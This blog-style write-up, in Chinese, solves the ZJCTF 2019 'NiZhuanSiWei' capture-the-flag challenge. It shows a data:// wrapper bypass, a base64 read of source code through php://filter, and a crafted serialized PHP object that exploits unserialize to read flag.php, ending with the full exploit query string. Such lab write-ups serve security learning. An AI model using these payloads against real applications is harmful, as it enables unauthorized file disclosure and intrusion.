[ZJCTF 2019]NiZhuanSiWei 1

[ZJCTF 2019]NiZhuanSiWei 1

打开实例,发现为代码审计,确认为文件包含漏洞

image-20241107225648761

需要三个参数text、file、password,首先是text验证,逻辑显示text必须有值,且读取文件内容得是welcome to the zjctf

采用读取本地文件绕过,在E盘新建文件

image-20241107231451692

发现无效

image-20241107231724207

尝试data流

?text=data://,welcome to the zjctf

image-20241107232021340

成功绕过,接下来是file绕过,逻辑显示不能包含flag,注意到旁边注释useless.php,尝试读取页面内容

image-20241107231948399

image-20241107232105329

读取失败,尝试采用base64编码读取,读取成功

image-20241107232214256

获得一串base64

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo

解码为一段php代码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

image-20241107232258293

代码显示flag在flag.php中,此前注意到源代码的unserialize方法,那最后的password参数就是反序列化了

image-20241107232430793

构造payload,注意到有__tostring方法,所以只要直接传flag.php字符串就行

<?php
class Flag{
    public $file = 'flag.php';
}
$select = new Flag();
$res=serialize(@$select);   
echo $res;

运行获得序列化字符串

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20241107232758719

运行,纳尼,没反应??

image-20241107233616976

怀疑是与file的内容冲突了,把file改回来,显示成功

?text=data://,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20241107233709512

发现flag没显示,查看源代码,发现flag

image-20241107233754310

flag{8cfd1d3e-077f-48e6-aba4-07bde718c28b}
posted @ 2024-11-08 18:47  TazmiDev  阅读(127)  评论(0)    收藏  举报